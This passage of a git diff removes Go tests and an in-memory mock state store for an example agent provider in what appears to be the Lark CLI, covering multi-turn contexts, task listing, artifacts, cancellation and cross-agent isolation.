-		t.Errorf("echo should be the minimal set (no artifact/file/cancel), got %+v", ec)
-	}
-	if !ec.ContextList || !ec.ContextGet || !ec.ContextDelete || !ec.TaskGet || !ec.TaskList {
-		t.Errorf("echo should support context_list/get/delete + task_get/task_list, got %+v", ec)
-	}
-	if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.InputRequired && rc.ContextList && rc.ContextGet && rc.ContextDelete && rc.TaskGet && rc.TaskList) {
-		t.Errorf("reporter should have everything enabled, got %+v", rc)
-	}
-}
-
-// TestEchoUnwiredCapabilities verifies the new model: echo simply leaves
-// CancelTask / DownloadArtifact unwired and FileInput false — no refusal code.
-func TestEchoUnwiredCapabilities(t *testing.T) {
-	if echoSpec.CancelTask != nil {
-		t.Error("echo should not wire CancelTask (task_cancel=false)")
-	}
-	if echoSpec.DownloadArtifact != nil {
-		t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
-	}
-	if echoSpec.FileInput {
-		t.Error("echo should not accept file input (file_input=false)")
-	}
-}
-
-// TestEchoMultiTurn verifies multi-turn context memory across the read verbs.
-func TestEchoMultiTurn(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"echo"}
-	ctx := context.Background()
-
-	t1, err := echoSend(ctx, rt, agent.SendInput{Text: "hello"})
-	if err != nil {
-		t.Fatalf("first-turn send: %v", err)
-	}
-	if t1.State != agent.StateCompleted || t1.ContextID == "" || t1.TaskID == "" {
-		t.Fatalf("first turn should be completed with context_id/task_id: %+v", t1)
-	}
-	if got := agentReply(t, t1); got != "hello" {
-		t.Fatalf("first-turn echo should be the original text, got %q", got)
-	}
-
-	t2, err := echoSend(ctx, rt, agent.SendInput{Text: "再来", ContextID: t1.ContextID})
-	if err != nil {
-		t.Fatalf("follow-up send: %v", err)
-	}
-	if t2.ContextID != t1.ContextID {
-		t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
-	}
-	if got := agentReply(t, t2); got != "再来（第 2 轮）" {
-		t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
-	}
-
-	got, err := getTask(ctx, rt, t2.TaskID)
-	if err != nil {
-		t.Fatalf("getTask: %v", err)
-	}
-	if agentReply(t, got) != "再来（第 2 轮）" {
-		t.Fatalf("getTask should replay the stored messages, got %+v", got.Messages)
-	}
-	tasks, err := listTasks(ctx, rt, t1.ContextID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(tasks) != 2 {
-		t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
-	}
-	// Every summary carries the enriched fields: a status timestamp and the
-	// one-line digest (the last agent message). listTasks returns creation order,
-	// so tasks[0] is the first turn and tasks[1] the second.
-	for _, ts := range tasks {
-		if ts.UpdatedAt == "" {
-			t.Errorf("task summary should carry updated_at: %+v", ts)
-		}
-	}
-	if tasks[0].Summary != "hello" {
-		t.Errorf("first task summary should be the last agent message %q, got %q", "hello", tasks[0].Summary)
-	}
-	if tasks[1].Summary != "再来（第 2 轮）" {
-		t.Errorf("second task summary should carry the round marker, got %q", tasks[1].Summary)
-	}
-	ctxs, err := listContexts(ctx, rt)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
-		t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
-	}
-	if ctxs[0].TaskCount != 2 || ctxs[0].AwaitingInput {
-		t.Errorf("context summary should roll up task_count=2, awaiting_input=false, got %+v", ctxs[0])
-	}
-	if ctxs[0].UpdatedAt == "" {
-		t.Error("context summary should carry updated_at")
-	}
-
-	// context get NO LONGER returns a full tasks[]: it is metadata + rollup + the
-	// single most-recent active_task (t2, the latest by updated_at).
-	detail, err := getContext(ctx, rt, t1.ContextID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if detail.TaskCount != 2 {
-		t.Fatalf("context detail should report task_count=2, got %+v", detail)
-	}
-	if detail.AwaitingInput {
-		t.Errorf("both tasks are completed, awaiting_input should be false: %+v", detail)
-	}
-	if detail.ActiveTask == nil || detail.ActiveTask.TaskID != t2.TaskID {
-		t.Fatalf("active_task should be the most recent task (t2 %s), got %+v", t2.TaskID, detail.ActiveTask)
-	}
-	if detail.ActiveTask.Summary != "再来（第 2 轮）" {
-		t.Errorf("active_task.summary should be the last agent message, got %q", detail.ActiveTask.Summary)
-	}
-	if detail.ActiveTask.UpdatedAt == "" {
-		t.Error("active_task.updated_at should be populated")
-	}
-}
-
-// TestCrossAgentIsolation pins the load-bearing per-agent isolation guard: echo
-// and reporter share one package-global store, so a task/context created under
-// one agent MUST be invisible to the other agent's runtime (get/delete return a
-// not-found error; list returns nothing). Without this guard
-// `agent task get example:reporter <echo-task-id>` would leak echo's data.
-func TestCrossAgentIsolation(t *testing.T) {
-	swapStore(t)
-	ctx := context.Background()
-	echo := fakeRuntime{"echo"}
-	reporter := fakeRuntime{"reporter"}
-
-	t1, err := echoSend(ctx, echo, agent.SendInput{Text: "secret"})
-	if err != nil {
-		t.Fatalf("echo send: %v", err)
-	}
-
-	// reporter must not read/delete echo's task or context.
-	if _, err := getTask(ctx, reporter, t1.TaskID); err == nil {
-		t.Error("reporter must not read echo's task (cross-agent leak)")
-	}
-	if _, err := getContext(ctx, reporter, t1.ContextID); err == nil {
-		t.Error("reporter must not read echo's context (cross-agent leak)")
-	}
-	if err := deleteContext(ctx, reporter, t1.ContextID); err == nil {
-		t.Error("reporter must not delete echo's context (cross-agent leak)")
-	}
-	if tasks, _ := listTasks(ctx, reporter, ""); len(tasks) != 0 {
-		t.Errorf("reporter should see no echo tasks, got %d", len(tasks))
-	}
-	if ctxs, _ := listContexts(ctx, reporter); len(ctxs) != 0 {
-		t.Errorf("reporter should see no echo contexts, got %d", len(ctxs))
-	}
-
-	// echo still sees its own data, and its context survived reporter's delete.
-	if _, err := getTask(ctx, echo, t1.TaskID); err != nil {
-		t.Errorf("echo must still read its own task: %v", err)
-	}
-	if _, err := getContext(ctx, echo, t1.ContextID); err != nil {
-		t.Errorf("echo's context must survive a cross-agent delete attempt: %v", err)
-	}
-}
-
-// TestStateSurvivesReload pins the cross-process semantics via the shared snapshot.
-func TestStateSurvivesReload(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"echo"}
-	task, err := echoSend(context.Background(), rt, agent.SendInput{Text: "persist"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	store = newMemoryStore(store.path) // a new process view; only the snapshot file is shared
-	got, err := getTask(context.Background(), rt, task.TaskID)
-	if err != nil {
-		t.Fatalf("getTask after reload: %v", err)
-	}
-	if got.ContextID != task.ContextID {
-		t.Fatalf("task should replay fully after reload: %+v", got)
-	}
-}
-
-// TestReporterArtifactFlow verifies the full artifact chain.
-func TestReporterArtifactFlow(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"reporter"}
-	ctx := context.Background()
-
-	task, err := reporterSend(ctx, rt, agent.SendInput{Text: "本季度报表"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(task.Artifacts) != 1 {
-		t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
-	}
-	art := task.Artifacts[0]
-	if art.ID == "" || art.Kind != "text" {
-		t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
-	}
-
-	data, err := downloadArtifact(ctx, rt, task.TaskID, art.ID)
-	if err != nil {
-		t.Fatalf("downloadArtifact: %v", err)
-	}
-	if data.Name != "quarterly_report.csv" || data.Mime != "text/csv" {
-		t.Errorf("suggested_name/mime wrong: %+v", data)
-	}
-	if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
-		t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
-	}
-
-	if _, err := downloadArtifact(ctx, rt, task.TaskID, "art_nope"); err == nil {
-		t.Fatal("unknown artifact id should return an error")
-	} else if _, ok := errs.ProblemOf(err); !ok {
-		t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
-	}
-}
-
-// TestReporterCancelTerminal verifies reporter's cancel returns failed_precondition
-// for a terminal task (the mock task is completed the moment it is sent).
-func TestReporterCancelTerminal(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"reporter"}
-	ctx := context.Background()
-	task, err := reporterSend(ctx, rt, agent.SendInput{Text: "报表"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	err = cancelTask(ctx, rt, task.TaskID)
-	if err == nil {
-		t.Fatal("canceling a terminal task should return an error")
-	}
-	prob, ok := errs.ProblemOf(err)
-	if !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
-		t.Fatalf("terminal cancel should be failed_precondition, got %v", err)
-	}
-}
-
-// TestUnknownCatalogID verifies an unknown catalog id is a typed error from the
-// framework's LookupSpec (with a hint pointing to agent list example).
-func TestUnknownCatalogID(t *testing.T) {
-	_, _, _, err := agent.LookupSpec("example:nonexistent")
-	if err == nil {
-		t.Fatal("an unknown catalog id should return an error")
-	}
-	prob, ok := errs.ProblemOf(err)
-	if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
-	}
-}
-
-// TestSendGuards pins send's two typed rejections: --task-id follow-up and an
-// unknown context id.
-func TestSendGuards(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"echo"}
-	ctx := context.Background()
-
-	_, err := echoSend(ctx, rt, agent.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
-	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
-		t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
-	}
-
-	_, err = echoSend(ctx, rt, agent.SendInput{Text: "hi", ContextID: "ctx_missing"})
-	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("unknown context id should be invalid_argument, got %v", err)
-	}
-}
-
-// TestDeleteContext verifies deleting a context also cleans up its tasks.
-func TestDeleteContext(t *testing.T) {
-	swapStore(t)
-	rt := fakeRuntime{"echo"}
-	ctx := context.Background()
-	task, err := echoSend(ctx, rt, agent.SendInput{Text: "bye"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if err := deleteContext(ctx, rt, task.ContextID); err != nil {
-		t.Fatal(err)
-	}
-	if _, err := getTask(ctx, rt, task.TaskID); err == nil {
-		t.Fatal("after deleting the context its tasks should be unqueryable")
-	}
-	ctxs, err := listContexts(ctx, rt)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(ctxs) != 0 {
-		t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
-	}
-}
-
-// TestContextRollupPicksLatestUpdated pins the enriched-summary rollup rule: the
-// active_task is the task with the LATEST updated_at (not the last created), the
-// rollup counts tasks and flags awaiting_input, and an input_required active
-// task's summary is its pending prompt. It seeds the store directly with
-// out-of-creation-order timestamps so "latest updated_at wins" is tested
-// independently of insertion order.
-func TestContextRollupPicksLatestUpdated(t *testing.T) {
-	swapStore(t)
-	store.loaded = true // seed in-memory directly; skip the (missing) snapshot load
-	store.Contexts["ctx_1"] = &contextRecord{
-		AgentID: "echo", ContextID: "ctx_1", CreatedAt: "2026-07-01T00:00:00Z",
-		Seq: 1, TaskIDs: []string{"t_a", "t_b", "t_c"},
-	}
-	store.Tasks["t_a"] = &taskRecord{AgentID: "echo", Seq: 2, Task: agent.AgentTask{
-		TaskID: "t_a", ContextID: "ctx_1", State: agent.StateCompleted, IsTerminal: true,
-		UpdatedAt: "2026-07-03T00:00:00Z", Messages: agentMessage("A 完成"),
-	}}
-	// t_b has the LATEST updated_at yet is created before t_c, and is input_required.
-	store.Tasks["t_b"] = &taskRecord{AgentID: "echo", Seq: 3, Task: agent.AgentTask{
-		TaskID: "t_b", ContextID: "ctx_1", State: agent.StateInputRequired,
-		UpdatedAt: "2026-07-05T00:00:00Z", InputRequired: &agent.InputRequired{Prompt: "按大区还是品类拆?"},
-	}}
-	store.Tasks["t_c"] = &taskRecord{AgentID: "echo", Seq: 4, Task: agent.AgentTask{
-		TaskID: "t_c", ContextID: "ctx_1", State: agent.StateCompleted, IsTerminal: true,
-		UpdatedAt: "2026-07-04T00:00:00Z", Messages: agentMessage("C 完成"),
-	}}
-
-	rt := fakeRuntime{"echo"}
-	detail, err := getContext(context.Background(), rt, "ctx_1")
-	if err != nil {
-		t.Fatal(err)
-	}
-	if detail.TaskCount != 3 {
-		t.Errorf("task_count should be 3, got %d", detail.TaskCount)
-	}
-	if !detail.AwaitingInput {
-		t.Error("awaiting_input should be true (t_b is input_required)")
-	}
-	if detail.ActiveTask == nil || detail.ActiveTask.TaskID != "t_b" {
-		t.Fatalf("active_task should be t_b (latest updated_at), not the last-created task, got %+v", detail.ActiveTask)
-	}
-	if detail.ActiveTask.Summary != "按大区还是品类拆?" {
-		t.Errorf("an input_required active task's summary should be its pending prompt, got %q", detail.ActiveTask.Summary)
-	}
-	if detail.UpdatedAt != "2026-07-05T00:00:00Z" {
-		t.Errorf("context updated_at should roll up to the latest task, got %q", detail.UpdatedAt)
-	}
-
-	// context list carries the same rollup.
-	ctxs, err := listContexts(context.Background(), rt)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(ctxs) != 1 {
-		t.Fatalf("expected 1 context, got %d", len(ctxs))
-	}
-	if ctxs[0].UpdatedAt != "2026-07-05T00:00:00Z" || ctxs[0].TaskCount != 3 || !ctxs[0].AwaitingInput {
-		t.Errorf("context summary rollup wrong: %+v", ctxs[0])
-	}
-}
-
-// TestTaskSummaryText pins the digest rule: rune-safe truncation to ~100 runes,
-// and that an input_required task prefers its pending prompt over the last agent
-// message.
-func TestTaskSummaryText(t *testing.T) {
-	long := strings.Repeat("字", 250)
-	got := taskSummaryText(agent.AgentTask{Messages: agentMessage(long)})
-	if n := len([]rune(got)); n != summaryMaxRunes {
-		t.Errorf("summary should be rune-truncated to %d runes, got %d", summaryMaxRunes, n)
-	}
-	prompt := taskSummaryText(agent.AgentTask{
-		State:         agent.StateInputRequired,
-		InputRequired: &agent.InputRequired{Prompt: "补充预算区间?"},
-		Messages:      agentMessage("忽略我"),
-	})
-	if prompt != "补充预算区间?" {
-		t.Errorf("input_required summary should be the pending prompt, got %q", prompt)
-	}
-}
-
-// agentMessage builds a single agent-role text message for seeding task fixtures.
-func agentMessage(text string) []agent.Message {
-	return []agent.Message{{Role: "agent", Parts: []agent.Part{{Type: "text", Text: text}}}}
-}
-
-// agentReply returns the first text reply from the agent role in the task.
-func agentReply(t *testing.T, task *agent.AgentTask) string {
-	t.Helper()
-	for _, m := range task.Messages {
-		if m.Role != "agent" {
-			continue
-		}
-		for _, part := range m.Parts {
-			if part.Type == "text" {
-				return part.Text
-			}
-		}
-	}
-	t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
-	return ""
-}
--- a/agent/example/state.go
+++ b/agent/example/state.go
@@ -1,418 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package example
-
-import (
-	"crypto/rand"
-	"encoding/hex"
-	"encoding/json"
-	"os"
-	"path/filepath"
-	"sort"
-	"sync"
-	"time"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// ============================================================================
-// In-memory state machine (teaching focus: concurrency safety of package-level
-// state + the CLI process boundary)
-//
-// A real provider's context/task state lives on the server, so the adapter is
-// naturally stateless; example is a pure mock and must manage state itself. Two
-// disciplines the integrator needs to know:
-//
-//  1. Concurrency safety: package-level mutable state must be locked. A single
-//     coarse-grained Mutex covers all reads and writes here — the mock does not
-//     chase throughput; correctness comes first.
-//  2. CLI process boundary: every lark-cli command is a fresh process, so a pure
-//     in-memory map does not survive a single command — after `send`, a
-//     `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
-//     the in-memory map (under os.TempDir, last-writer-wins) to make the offline
-//     demo chain work across commands. A real provider neither needs nor should
-//     have this layer — it is a mock-only demo device.
-//
-// Note that the snapshot is loaded lazily (only on the first real read/write of
-// state): provider registration is a pure declarative Register(Provider) call
-// (see agent/register.go) with no construction and no side effects, so nothing
-// touches store at registration time — the snapshot is read on the first hook
-// invocation, not at init.
-// ============================================================================
-
-// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
-// + creation sequence number (list output sorts by creation order to guarantee
-// stable enumeration).
-type taskRecord struct {
-	AgentID string          `json:"agent_id"`
-	Seq     int             `json:"seq"`
-	Task    agent.AgentTask `json:"task"`
-}
-
-// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
-// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
-// demonstrate "context memory".
-type contextRecord struct {
-	AgentID   string   `json:"agent_id"`
-	ContextID string   `json:"context_id"`
-	CreatedAt string   `json:"created_at"`
-	Title     string   `json:"title,omitempty"`
-	Seq       int      `json:"seq"`
-	TaskIDs   []string `json:"task_ids"`
-}
-
-// memoryStore is the package-level state machine itself: mu covers all fields;
-// path is the JSON snapshot location; loaded ensures the snapshot is read only
-// once, on first access.
-type memoryStore struct {
-	mu     sync.Mutex
-	path   string
-	loaded bool
-
-	Contexts map[string]*contextRecord `json:"contexts"`
-	Tasks    map[string]*taskRecord    `json:"tasks"`
-	NextSeq  int                       `json:"next_seq"`
-}
-
-// store is the package-level singleton. Tests use swapStoreForTest to replace it
-// with an instance pointing at t.TempDir, avoiding cross-contamination between
-// tests and between tests and the local demo state.
-var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agent.json"))
-
-func newMemoryStore(path string) *memoryStore {
-	return &memoryStore{
-		path:     path,
-		Contexts: map[string]*contextRecord{},
-		Tasks:    map[string]*taskRecord{},
-	}
-}
-
-// loadLocked lazily reads in the snapshot (the caller must already hold the
-// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
-// mock's demo data is not worth erroring over, so it just starts fresh.
-func (s *memoryStore) loadLocked() {
-	if s.loaded {
-		return
-	}
-	s.loaded = true
-	data, err := vfs.ReadFile(s.path)
-	if err != nil {
-		return
-	}
-	var snap memoryStore
-	if json.Unmarshal(data, &snap) != nil {
-		return
-	}
-	if snap.Contexts != nil {
-		s.Contexts = snap.Contexts
-	}
-	if snap.Tasks != nil {
-		s.Tasks = snap.Tasks
-	}
-	s.NextSeq = snap.NextSeq
-}
-
-// saveLocked writes the current state back to the snapshot (the caller must
-// already hold the lock). A write failure returns a typed internal error
-// (storage subtype) — the mock does not swallow errors either: silently losing
-// state would make the next command report "task not found", which is harder to
-// diagnose than a clear error.
-func (s *memoryStore) saveLocked() error {
-	data, err := json.MarshalIndent(s, "", "  ")
-	if err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
-	}
-	if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
-	}
-	return nil
-}
-
-// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
-// deliberately aligns with the command layer's meta.next interpolation
-// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
-// string "the AI copies and runs", and an id with shell metacharacters would
-// cause the whole hint to be suppressed.
-func newID(prefix string) string {
-	var b [6]byte
-	if _, err := rand.Read(b[:]); err != nil {
-		// crypto/rand being unavailable is an environment-level failure; the mock
-		// degrades to a timestamp that still satisfies the character set.
-		return prefix + "_" + time.Now().UTC().Format("20060102150405")
-	}
-	return prefix + "_" + hex.EncodeToString(b[:])
-}
-
-// createContext creates a new context and returns its id (the first-turn send goes here).
-func (s *memoryStore) createContext(agentID, title string) (string, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	id := newID("ctx")
-	s.NextSeq++
-	s.Contexts[id] = &contextRecord{
-		AgentID:   agentID,
-		ContextID: id,
-		CreatedAt: time.Now().UTC().Format(time.RFC3339),
-		Title:     title,
-		Seq:       s.NextSeq,
-	}
-	return id, s.saveLocked()
-}
-
-// createTask appends a task under ctxID: validate context ownership → compute
-// the round (which task number in this conversation) → call build under the lock
-// to construct the task → insert and write the snapshot. build runs inside the
-// lock to guarantee "compute the round" and "store the task" are atomic, so two
-// concurrent sends never get the same round.
-// An unknown / cross-agent context id returns a typed validation error (teaching
-// point: every error a provider returns must be typed — a bare error would land
-// as internal/exit 5, whereas this is clearly "the caller passed a wrong
-// argument", semantically invalid_argument/exit 2, and the AI relies on this
-// classification to decide between "fix the argument and retry" and "report an
-// environment failure").
-func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agent.AgentTask) (agent.AgentTask, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	task := build(len(ctx.TaskIDs) + 1)
-	// Stamp lifecycle timestamps at creation. Example tasks are born terminal, so
-	// created_at == updated_at; a real provider bumps updated_at on every status
-	// change (see setTaskState). RFC3339 UTC strings are fixed-width, so their
-	// lexicographic order equals chronological order (relied on by the rollup).
-	now := time.Now().UTC().Format(time.RFC3339)
-	task.CreatedAt = now
-	task.UpdatedAt = now
-	s.NextSeq++
-	s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
-	ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
-	return task, s.saveLocked()
-}
-
-// getTask fetches a task snapshot by id (returns a copy by value, so the command
-// layer's in-place edits like normalizeTask do not write through to store). A
-// cross-agent task is treated as "not found", without leaking another agent's state.
-func (s *memoryStore) getTask(agentID, taskID string) (agent.AgentTask, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	rec, ok := s.Tasks[taskID]
-	if !ok || rec.AgentID != agentID {
-		return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 task id '%s'（example:%s 名下不存在）", taskID, agentID).
-			WithHint("运行 lark-cli agent task list example:%s 查看现有任务", agentID)
-	}
-	return rec.Task, nil
-}
-
-// setTaskState updates a task's state (used by reporter's cancel).
-func (s *memoryStore) setTaskState(taskID string, state agent.TaskState) error {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	rec, ok := s.Tasks[taskID]
-	if !ok {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
-	}
-	rec.Task.State = state
-	rec.Task.IsTerminal = state.IsTerminal()
-	rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339) // status changed ⇒ record when
-	return s.saveLocked()
-}
-
-// listTasks lists an agent's task summaries, optionally filtered by contextID
-// (empty string means no filter), output in creation order. IsTerminal is
-// carried along here for convenience, but the command layer re-derives it from
-// State via normalizeTask* (single source), so the integrator need not worry
-// about this field.
-func (s *memoryStore) listTasks(agentID, contextID string) []agent.TaskSummary {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	recs := make([]*taskRecord, 0, len(s.Tasks))
-	for _, rec := range s.Tasks {
-		if rec.AgentID != agentID {
-			continue
-		}
-		if contextID != "" && rec.Task.ContextID != contextID {
-			continue
-		}
-		recs = append(recs, rec)
-	}
-	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
-	out := make([]agent.TaskSummary, 0, len(recs))
-	for _, rec := range recs {
-		out = append(out, taskSummaryOf(rec.Task))
-	}
-	return out
-}
-
-// listContexts lists an agent's context summaries, output in creation order.
-func (s *memoryStore) listContexts(agentID string) []agent.ContextSummary {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	recs := make([]*contextRecord, 0, len(s.Contexts))
-	for _, ctx := range s.Contexts {
-		if ctx.AgentID == agentID {
-			recs = append(recs, ctx)
-		}
-	}
-	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
-	out := make([]agent.ContextSummary, 0, len(recs))
-	for _, ctx := range recs {
-		updatedAt, taskCount, awaiting, _ := s.contextRollupLocked(ctx)
-		out = append(out, agent.ContextSummary{
-			ContextID:     ctx.ContextID,
-			CreatedAt:     ctx.CreatedAt,
-			UpdatedAt:     updatedAt,
-			Title:         ctx.Title,
-			TaskCount:     taskCount,
-			AwaitingInput: awaiting,
-		})
-	}
-	return out
-}
-
-// getContext returns a context's detail: metadata plus a rollup (updated_at,
-// task_count, awaiting_input) and the single most-actionable ActiveTask (the task
-// with the latest updated_at; nil for an empty context). It deliberately does NOT
-// enumerate every task — the full list is `listTasks(agentID, ctxID)` behind
-// `agent task list --context-id`.
-func (s *memoryStore) getContext(agentID, ctxID string) (*agent.ContextDetail, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	updatedAt, taskCount, awaiting, active := s.contextRollupLocked(ctx)
-	detail := &agent.ContextDetail{
-		ContextID:     ctx.ContextID,
-		CreatedAt:     ctx.CreatedAt,
-		UpdatedAt:     updatedAt,
-		Title:         ctx.Title,
-		TaskCount:     taskCount,
-		AwaitingInput: awaiting,
-	}
-	if active != nil {
-		summary := taskSummaryOf(active.Task)
-		detail.ActiveTask = &summary
-	}
-	return detail, nil
-}
-
-// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
-func (s *memoryStore) deleteContext(agentID, ctxID string) error {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	for _, tid := range ctx.TaskIDs {
-		delete(s.Tasks, tid)
-	}
-	delete(s.Contexts, ctxID)
-	return s.saveLocked()
-}
-
-// ── Derived rollups (the enriched-summary provider side) ──
-
-// summaryMaxRunes is the rune budget for a task Summary — a one-line content
-// digest, not full content. Truncation is rune-safe so a multibyte character is
-// never cut in half.
-const summaryMaxRunes = 100
-
-// contextRollupLocked derives a context's summary fields from its tasks (the
-// caller must already hold the lock). updatedAt is the newest task updated_at,
-// falling back to the context's created_at when it has no tasks; awaitingInput is
-// set when any task sits in input_required/auth_required; active is the task with
-// the latest updated_at (ties broken by creation order so it is deterministic),
-// nil when the context is empty.
-func (s *memoryStore) contextRollupLocked(ctx *contextRecord) (updatedAt string, taskCount int, awaitingInput bool, active *taskRecord) {
-	updatedAt = ctx.CreatedAt
-	for _, tid := range ctx.TaskIDs {
-		rec, ok := s.Tasks[tid]
-		if !ok {
-			continue
-		}
-		taskCount++
-		if rec.Task.UpdatedAt > updatedAt { // fixed-width RFC3339 UTC ⇒ lexicographic == chronological
-			updatedAt = rec.Task.UpdatedAt
-		}
-		if isAwaiting(rec.Task.State) {
-			awaitingInput = true
-		}
-		if active == nil || rec.Task.UpdatedAt > active.Task.UpdatedAt ||
-			(rec.Task.UpdatedAt == active.Task.UpdatedAt && rec.Seq > active.Seq) {
-			active = rec
-		}
-	}
-	return updatedAt, taskCount, awaitingInput, active
-}
-
-// isAwaiting reports whether a state is paused waiting on the caller (the
-// awaiting_input rollup bit).
-func isAwaiting(state agent.TaskState) bool {
-	return state == agent.StateInputRequired || state == agent.StateAuthRequired
-}
-
-// taskSummaryOf projects a stored task into its list/active summary, carrying the
-// timestamp and the one-line content digest alongside the identity fields.
-func taskSummaryOf(task agent.AgentTask) agent.TaskSummary {
-	return agent.TaskSummary{
-		TaskID:     task.TaskID,
-		ContextID:  task.ContextID,
-		State:      task.State,
-		IsTerminal: task.IsTerminal,
-		UpdatedAt:  task.UpdatedAt,
-		Summary:    taskSummaryText(task),
-	}
-}
-
-// taskSummaryText is the one-line content digest: the pending prompt for a task
-// awaiting input, otherwise the last agent message's text. It returns RAW text
-// (only rune-truncated) — ANSI-stripping + flattening for pretty/TSV is the
-// command layer's job, and it is empty when nothing is available.
-func taskSummaryText(task agent.AgentTask) string {
-	if task.InputRequired != nil && task.InputRequired.Prompt != "" {
-		return truncateRunes(task.InputRequired.Prompt, summaryMaxRunes)
-	}
-	for i := len(task.Messages) - 1; i >= 0; i-- {
-		if task.Messages[i].Role != "agent" {
-			continue
-		}
-		for _, p := range task.Messages[i].Parts {
-			if p.Type == "text" && p.Text != "" {
-				return truncateRunes(p.Text, summaryMaxRunes)
-			}
-		}
-	}
-	return ""
-}
-
-// truncateRunes cuts s to at most max runes (rune-safe, no character split). It
-// does not append an ellipsis: the Summary is meant to be raw text.
-func truncateRunes(s string, max int) string {
-	r := []rune(s)
-	if len(r) <= max {
-		return s
-	}
-	return string(r[:max])
-}
--- a/agent/register.go
+++ b/agent/register.go
@@ -1,26 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agent is the top-level business layer that wires the in-repo agent
-// providers into the framework registry (internal/agent). It mirrors the events
-// layering: the framework/SPI lives in internal/agent, each concrete provider is
-// a declarative agent.Provider value exposed by a package under agent/<scheme>/,
-// and this package's init aggregates and registers them. Blank-import this
-// package from cmd to populate the provider registry.
-//
-// To onboard a new provider: add agent/<scheme>/ exposing a Provider() value,
